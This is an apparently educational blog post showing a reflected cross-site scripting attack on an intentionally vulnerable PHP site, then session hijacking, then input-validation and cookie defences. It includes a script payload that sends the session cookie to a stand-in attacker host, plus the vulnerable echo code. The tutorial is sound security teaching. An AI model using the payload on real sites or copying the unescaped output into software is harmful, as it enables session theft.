Reflected Cross Site Scripting and Subsequent Session Hijacking

Posted by Janani Kehelwala on November 07, 2018 · 11 mins read Archived

Cross Site Scripting attacks and session hijacking are two very common attacks that plague many web applications. From these attacks, cross site scripting can be sufficiently mitigated using proper user input validation, while session hijacking requires careful analysis and multiple techniques deployed at server-side depending on the users that may be accessing the website.

Let me walk you through a reflected cross site scripting attack, and subsequent session stealing that could occur, and how this attack could have been easily mitigated. This was done on a website developed for learning php, which was ripe with vulnerabilities because security was not thought of at all.

Reflected cross-site scripting attacks use the user inputs where the server would receive the input and show it back to the user. An example for such a scenario is search strings, where the server is likely to provide user with some HTML block displaying the search string user searched for, as per traditional UX principles.

The attack occurs when the increasingly powerful and vital client side scripting language JavaScript, is used to input an arbitrary piece of code, which then the server would obligingly run without the knowledge of website owners. The attack is usually conducted through tricking users to click on a link which contains such code, often distributed through emails. Users fall prey easily to this attack since the link is from a supposedly trusted website.

Such an attack has very severe implications. For example, the following demonstration involves a scenario where a cookie is stolen and used to hijack the session of a logged in user. The purpose of cookies are to provide a seamless experience over stateless connections, therefore users do not log out of websites most of the time, and cookies are persisted for a given time period (often indefinitely), increasing attackers’ chance to hijack sessions.

Attack Walkthrough

Reflected Cross Site Scripting

Step 1 – Evaluate whether arbitrary strings are displayed back, including special strings

Step 2 – Put the following attack code in the search input and press Enter/ Click ‘search’

<script>
	const http = new XMLHttpRequest();
	const url = "http://attacker-remote-capture.com/";
	http.open('POST', url, true);
	http.send(document.cookie+","+navigator.userAgent );
</script>

For ease of reading, indented code is displayed. It’s preferable to remove whitespace and input it as one line. It sends a message containing the cookie (which contains the session ID) to the remote URL.

Step 3 – The remote url captures the value and sends it to the attacker in some way, using email or otherwise. Now the attacker has the session ID and the browser of the User. (Significance of Browser will be explained later.)

Session Hijacking

Step 4 – For demonstration purposes, let’s simply display the cookie of a logged in user using following alternate code, log out, and use the cookie value to log in again without using credentials.

<script>alert(document.cookie);</script>

Step 5 – Replace the hijacked ID as the cookie value.

Vulnerable Code for the above scenario

PHP Code

<?php
$searchstr = null;
if($_GET && isset($_GET['search']))
    $searchstr = $_GET['search'];
else
    header('location: /index.php');
?>

HTML Code

 <div>  <h2> <?php echo $searchstr ?>  </h2>  </div>
 <div class="row">
     <?php
    $flag =  $search->getProdSearch($searchstr, 0,4);
    if($flag) {
        foreach ($flag as $new) {
            $obj = new Product();
            echo $obj->getSmallBoxItem($new['product_id']);
        }
    }
    ?>

The solution? The primary cause for this attack is that the obtained search parameter is displayed back as it is with no validation. The solution is to validate the “searchstr” parameter as soon as it is read from the URL, and before passing it to any methods or printing it back.

Mounting a defense

Avoiding Reflected Cross Site Scripting – User Input Validation

The input string taken from the search string has to be escaped for harmful characters. The respective outputs for following code after sanitization are displayed alongside. Anyone of the following validations would sufficiently mitigate the above scenario of following malicious input.

<script>alert(document.cookie + " " +navigator.userAgent);</script>

Validation 1 – Strip or encode special characters.

$searchstr=htmlspecialchars($searchstr);

Validation 2 – Strip tags, optionally strip or encode special characters.

$searchstr =  filter_var ( $searchstr, FILTER_SANITIZE_STRING); 

A list of filters provided by PHP for sanitization in alternate scenarios can be found here.

Validation 3 – White list the characters that could be in the search string.

$searchstr  = preg_replace( "/[^a-zA-Z0-9_\s]/", "",  $searchstr);

Note that this is the most elegant solution to the above problem, as it mediates any other unwanted behavior as well (i.e. Comments being concluded early on due to various special characters in HTML).

Avoiding Session Hijacking

Since session ID is quite easily input through a browser plugin to hijack sessions, a number of validations can be performed to avoid this as well.

  1. Set cookies to HTTP Only before sessions has started. This prevents cookie access via client side script but this might not be supported by all browsers. (Firefox was still vulnerable to XSS attack above. )
  2. Regenerate session_id after each log in and log out so the previously hijacked cookies become useless. Essentially, this avoids session fixation attacks from shared browsers. Note that PHP session ID is generated by a mix of client IP, current time, a PRNG number, and a operating system specific random source. Thus, session hijacking can occur from a shared computer.
  3. A number of other precautions such as using SSL/TLS connections in websites, checking certificates, phishing awareness in users, URL validation at server level (But vulnerable for POST data) can also be suggested.

Takeaway

Vulnerabilities are rarely used by themselves. Therefore security of web applications have to be looked at in many perspectives and almost certainly any and all languages used in it’s development. Secure coding is essentially a mindset that should be encouraged early on, because the more you focus on implementing as much functionality as possible, the further you move from security, as seen in the test application above. A little trouble at the beginning is much more endurable over massive refactoring efforts.